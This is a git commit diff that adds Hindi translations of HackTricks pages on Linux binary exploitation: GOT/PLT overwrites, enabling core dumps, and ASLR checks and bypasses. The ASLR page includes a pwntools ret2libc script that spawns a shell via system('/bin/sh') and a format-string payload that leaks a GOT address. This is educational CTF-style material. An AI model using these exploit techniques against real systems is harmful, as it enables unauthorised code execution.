Translated ['reversing-and-exploiting/linux-exploiting-basic-esp/arbitra

This commit is contained in:
Translator 2024-03-30 23:49:39 +00:00
parent bf956a891f
commit b0281b53d4
72 changed files with 1288 additions and 109 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 223 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 74 KiB

View file

@ -695,20 +695,30 @@
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
* [Common Binary Protections & Bypasses](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/README.md)
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/README.md)
* [Ret2plt](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/aslr/ret2plt.md)
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md)
* [PIE](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/README.md)
* [BF Addresses in the Stack](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md)
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md)
* [BF Forked Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
* [Print Stack Canary](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
* [Exploiting Tools](exploiting/tools/README.md)
* [PwnTools](exploiting/tools/pwntools.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)

View file

@ -0,0 +1,77 @@
# AW2Exec - GOT/PLT
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड** करें तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**।**
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## **मूलभूत जानकारी**
### **GOT: ग्लोबल ऑफसेट टेबल**
**ग्लोबल ऑफसेट टेबल (GOT)** एक तंत्र है जो डायनामिक लिंक किए गए बाइनरी में **बाहरी फ़ंक्शनों के पतों का प्रबंधन** करने के लिए उपयोग किया जाता है। क्योंकि ये **पते रनटाइम तक नहीं पते होते** (डायनामिक लिंकिंग के कारण), GOT एक तरीका प्रदान करता है **इन बाहरी प्रतीकों के पतों को डायनामिक रूप से अपडेट करने के लिए** जब वे हल हो जाते हैं।
GOT में प्रत्येक प्रविष्टि एक प्रतीक से मेल खाती है जो बाइनरी के बाहरी पुस्तकालयों में हो सकती है। जब एक **फ़ंक्शन पहली बार कॉल होता है, तो उसका वास्तविक पता डायनामिक लिंकर द्वारा हल किया जाता है और GOT में संग्रहीत किया जाता है**। इसके बाद, उसी फ़ंक्शन को दोबारा कॉल करने पर, GOT में संग्रहीत पते का उपयोग किया जाता है, इसलिए पता फिर से हल करने के ओवरहेड से बचा जाता है।
### **PLT: प्रोसीजर लिंकेज टेबल**
**प्रोसीजर लिंकेज टेबल (PLT)** GOT के साथ मिलकर काम करती है और बाहरी फ़ंक्शनों को कॉल करने के लिए एक ट्रैम्पोलीन के रूप में सेवा प्रदान करती है। जब एक बाइनरी **पहली बार एक बाहरी फ़ंक्शन को कॉल करता है, तो उस फ़ंक्शन के साथ संबंधित PLT में एक प्रविष्टि में नियंत्रण पास किया जाता है**। यह PLT प्रविष्टि डायनामिक लिंकर को आमंत्रित करने के लिए जिम्मेदार होती है ताकि यदि पता हल नहीं किया गया है तो फ़ंक्शन का पता हल किया जा सके। पता हल होने के बाद, यह GOT में संग्रहीत किया जाता है।
**इसलिए,** GOT प्रविष्टियों का सीधा उपयोग किया जाता है जब बाहरी फ़ंक्शन या प्रतीक का पता हल होता है। **PLT प्रविष्टियों का उपयोग पहले पता हल करने** के द्वारा इन पतों के पते का पहले हल करने के लिए किया जाता है डायनामिक लिंकर के माध्यम से।
## निष्पादन प्राप्त करें
### GOT की जाँच करें
**`objdump -s -j .got ./exec`** के साथ GOT टेबल का पता प्राप्त करें
![](<../../../.gitbook/assets/image (619).png>)
ध्यान दें कि **GOT** में **फ़ंक्शन** दिखाई देते हैं जो **GOT** में हैं: `gef➤ x/20x 0xDIR_GOT`
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
GEF का उपयोग करके आप **डीबगिंग** सत्र शुरू कर सकते हैं और **`got`** को निष्पादित करने के लिए **गोट** टेबल देख सकते हैं:
![](<../../../.gitbook/assets/image (621).png>)
### GOT2Exec
एक बाइनरी में GOT में **फ़ंक्शनों के पते होते हैं या** PLT **खंड में जो फ़ंक्शन पता लोड करेगा**। इस अर्बिट्रेरी राइट का लक्ष्य है कि आप एक GOT प्रविष्टि को ओवरराइड करें जो बाद में **`system`** **फ़ंक्शन** के **PLT** का **पता** होगा।
आदर्श रूप से, आपको एक **फ़ंक्शन** की **GOT** को **ओवरराइड करना** है जो बाद में **आपके द्वारा नियंत्रित पैरामीटरों के साथ कॉल किया जाएगा** (इसलिए आप सिस्टम फ़ंक्शन को भेजे गए पैरामीटरों को नियंत्रित कर सकेंगे)।
यदि **`system`** **स्क्रिप्ट द्वारा उपयोग नहीं किया जाता है**, तो सिस्टम फ़ंक्शन **PLT में एक प्रविष्टि नहीं होगी**। इस स्थिति में, आपको **पहले सिस्टम** फ़ंक्शन का पता हल करने की आवश्यकता होगी और फिर GOT को इस पते पर पॉइंट करने के लिए ओवरराइट करना होगा।
आप **`objdump -j .plt -d ./vuln_binary`** के साथ PLT पते देख सकते हैं
## **सुरक्षा**
**FullRELRO** सुरक्षा इस प्रकार की तकनीक के खिलाफ सुरक्षा प्रदान करने के लिए है जिसमें बाइनरी शुरू होने पर सभी फ़ंक्शनों के पते हल किए जाते हैं और इसके बाद **GOT टेबल को केवल पढ़ने योग्य** बनाया जाता है:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md)
{% endcontent-ref %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड** करें तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**।**
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>

View file

@ -0,0 +1,39 @@
# सामान्य बाइनरी सुरक्षा
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## कोर फ़ाइल्स सक्षम करें
**कोर फ़ाइलें** एक प्रकार की फ़ाइल होती हैं जो एक ऑपरेटिंग सिस्टम द्वारा उत्पन्न होती है जब कोई प्रक्रिया क्रैश होती है। ये फ़ाइलें क्रैश होने के समय क्रैश हुई प्रक्रिया की मेमोरी छवि को कैप्चर करती हैं, जिसमें प्रक्रिया की मेमोरी, रजिस्टर और प्रोग्राम काउंटर स्थिति सहित अन्य विवरण शामिल होते हैं। यह स्नैपशॉट डीबगिंग और समझने के लिए अत्यधिक मूल्यवान हो सकता है कि क्रैश क्यों हुआ।
### **कोर डंप जनरेशन सक्षम करना**
डिफ़ॉल्ट रूप से, कई सिस्टम कोर फ़ाइलों का आकार 0 तक सीमित करते हैं (अर्थात वे कोर फ़ाइलें नहीं उत्पन्न करते) ताकि डिस्क स्थान बचाया जा सके। कोर फ़ाइलों का उत्पन्न करने के लिए, आप `ulimit` कमांड (बैश या समान शैलियों में) का उपयोग कर सकते हैं या सिस्टम-व्यापी सेटिंग कॉन्फ़िगर कर सकते हैं।
* **ulimit का उपयोग करना**: कमांड `ulimit -c unlimited` वर्तमान शैली सत्र को असीमित-आकार की कोर फ़ाइलें बनाने की अनुमति देता है। यह डिबगिंग सत्रों के लिए उपयोगी है लेकिन यह बूट या नए सत्रों के लिए स्थायी नहीं है।
```bash
ulimit -c unlimited
```
* **स्थायी विन्यास**: एक और स्थायी समाधान के लिए, आप `/etc/security/limits.conf` फ़ाइल को संपादित कर सकते हैं और एक पंक्ति जो `* soft core unlimited` जैसी हो उसे शामिल कर सकते हैं, जिससे सभी उपयोगकर्ताओं को अप्रतिबंधित आकार की कोर फ़ाइलें उत्पन्न करने की अनुमति मिले बिना उन्हें अपने सत्र में यूलिमिट मैन्युअल रूप से सेट करने की आवश्यकता न हो।
```markdown
* soft core unlimited
```
### **GDB के साथ कोर फ़ाइलों का विश्लेषण**
कोर फ़ाइल का विश्लेषण करने के लिए, आप GDB (GNU डीबगर) जैसे डीबगिंग टूल का उपयोग कर सकते हैं। मान लीजिए कि आपके पास एक executable है जिसने एक कोर डंप उत्पन्न किया है और कोर फ़ाइल का नाम `core_file` है, तो आप विश्लेषण शुरू कर सकते हैं:
```bash
gdb /path/to/executable /path/to/core_file
```
यह कमांड एक्जीक्यूटेबल और कोर फ़ाइल को GDB में लोड करती है, जिससे आप क्रैश होने के समय प्रोग्राम की स्थिति की जांच कर सकते हैं। आप GDB कमांड का उपयोग करके स्टैक की जांच, वेरिएबल्स की जांच कर सकते हैं, और क्रैश के कारण को समझ सकते हैं।

View file

@ -0,0 +1,150 @@
# ASLR
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## मूल जानकारी
**Address Space Layout Randomization (ASLR)** एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में उपयोग किए जाने वाले **सिस्टम और एप्लिकेशन प्रक्रियाओं द्वारा उपयोग किए जाने वाले मेमोरी पतों को यादृच्छिक बनाती है**। इसके द्वारा, यह किसी आक्रमक को प्रक्रियाओं और डेटा के विशिष्ट स्थान का पूर्वानुमान करना बहुत कठिन बना देती है, जैसे स्टैक, हीप, और लाइब्रेरी, इस प्रकार के कुछ प्रकार के उत्पीड़न को कम करती है, विशेषकर बफर ओवरफ्लो।
### **ASLR स्थिति की जाँच**
Linux सिस्टम पर ASLR स्थिति की जाँच करने के लिए, आप `/proc/sys/kernel/randomize_va_space` फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में स्टोर की गई मान यह निर्धारित करती है कि कौन सा प्रकार का ASLR लागू है:
* **0**: कोई यादृच्छिकता नहीं। सब कुछ स्थैतिक है।
* **1**: सतर्क यादृच्छिकता। साझा लाइब्रेरी, स्टैक, mmap(), VDSO पेज यादृच्छिक हैं।
* **2**: पूर्ण यादृच्छिकता। सतर्क यादृच्छिकता द्वारा यादृच्छिक किए गए तत्वों के अतिरिक्त, `brk()` के माध्यम से प्रबंधित मेमोरी यादृच्छिक है।
आप निम्नलिखित कमांड के साथ ASLR स्थिति की जाँच कर सकते हैं:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **ASLR को अक्षम करना**
ASLR को अक्षम करने के लिए, आप `/proc/sys/kernel/randomize_va_space` के मान को **0** पर सेट करें। ASLR को अक्षम करना सामान्य रूप से टेस्टिंग या डीबगिंग स्थितियों के बाहर सिफारिश नहीं की जाती है। यहाँ दिया गया है कि आप इसे कैसे अक्षम कर सकते हैं:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
आप एक निष्पादन के लिए ASLR को अक्षम कर सकते हैं:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **ASLR सक्रिय करना**
ASLR को **सक्रिय** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` फ़ाइल में **2** का मान लिख सकते हैं। यह आम तौर पर रूट विशेषाधिकारों की आवश्यकता होती है। पूर्ण यादृच्छिकता सक्रिय करने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **पुनरारंभों पर स्थिरता**
`echo` कमांड के साथ की गई परिवर्तन अस्थायी हैं और पुनरारंभ पर रीसेट हो जाएंगे। परिवर्तन स्थायी बनाने के लिए, आपको `/etc/sysctl.conf` फ़ाइल में जाकर निम्नलिखित पंक्ति जोड़नी या संशोधित करनी होगी:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
प्रबंधन करने के बाद `/etc/sysctl.conf` संपादित करें, तो बदलाव लागू करें:
```bash
sudo sysctl -p
```
यह सुनिश्चित करेगा कि आपकी ASLR सेटिंग्स पुनरारंभ होने पर भी बनी रहें।
## **बाईपास**
### 32बिट ब्रूट-फोर्सिंग
PaX प्रक्रिया पता स्थान क्षेत्र को **3 समूहों** में विभाजित करता है:
* **कोड और डेटा** (सक्रिय और असक्रिय): `.text`, `.data`, और `.bss` —> `delta_exec` चर में **16 बिट** का अनियमितता। यह चर प्रत्येक प्रक्रिया के साथ यादृच्छिक रूप से प्रारंभ होता है और प्रारंभिक पतों में जोड़ा जाता है।
* `mmap()` द्वारा आवंटित **स्मृति** और **साझा पुस्तकालय** —> **16 बिट**, जिसे `delta_mmap` नामक किया गया है।
* **स्टैक** —> **24 बिट**, `delta_stack` के रूप में संदर्भित। हालांकि, यह वास्तव में **11 बिट** का उपयोग करता है (10वें से 20वें बाइट समाविष्ट), **16 बाइट** के अनुरूप संरेखित —> इससे **524,288 संभावित वास्तविक स्टैक पते** होते हैं।
पिछले डेटा 32-बिट सिस्टमों के लिए है और कम होने वाली अंतिम अनियमितता को संभावित बनाता है ASLR को बाईपास करने के लिए, जब तक उत्पीड़न सफलतापूर्वक पूरा न हो जाए।
#### ब्रूट-फोर्स विचार:
* यदि उत्पीड़न स्थानीय है, तो आप libc के आधार पते को ब्रूट-फोर्स कर सकते हैं (32बिट सिस्टमों के लिए उपयोगी):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* अगर आप एक रिमोट सर्वर पर हमला कर रहे हैं, तो आप `libc` फ़ंक्शन `usleep` का पता लगाने के लिए **एड्रेस को ब्रूट-फ़ोर्स कर सकते हैं**, 10 को एर्ग्यूमेंट के रूप में पास करते हुए। यदि किसी समय **सर्वर 10 सेकंड अतिरिक्त समय लेता है** तो आपने इस फ़ंक्शन का पता लगा लिया है।
{% hint style="success" %}
64बिट सिस्टम में एंट्रोपी अधिक होती है और यह संभव नहीं है।
{% endhint %}
### लीक होना
* **चुनौती एक लीक देना है**
अगर आपको एक लीक मिलती है (सरल CTF चुनौतियाँ), तो आप उससे ऑफसेट की गणना कर सकते हैं (उदाहरण के लिए मान लें कि आप जानते हैं कि आपके द्वारा उत्पादित सिस्टम में उपयोग किए जाने वाले सटीक libc संस्करण का पता है)। यह उदाहरण शोध यहाँ से निकाला गया है [**यहाँ से उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (अधिक विवरण के लिए उस पृष्ठ की जाँच करें):
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
* **ret2plt**
एक बफर ओवरफ्लो का दुरुपयोग करके एक **ret2plt** का शोषण करना संभव होगा ताकि libc से किसी फ़ंक्शन का पता निकाला जा सके। जांच करें:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
{% endcontent-ref %}
* **फॉर्मेट स्ट्रिंग्स अर्बिट्रेरी रीड**
जैसे कि ret2plt में, अगर आपके पास फॉर्मेट स्ट्रिंग्स वलनरबिलिटी के माध्यम से एक अर्बिट्रेरी रीड है तो एक **libc फ़ंक्शन** का पता निकालना संभव है। निम्नलिखित [**उदाहरण यहाँ से है**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
आप फॉर्मेट स्ट्रिंग्स अर्बिट्रे रीड के बारे में अधिक जानकारी यहाँ पा सकते हैं:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
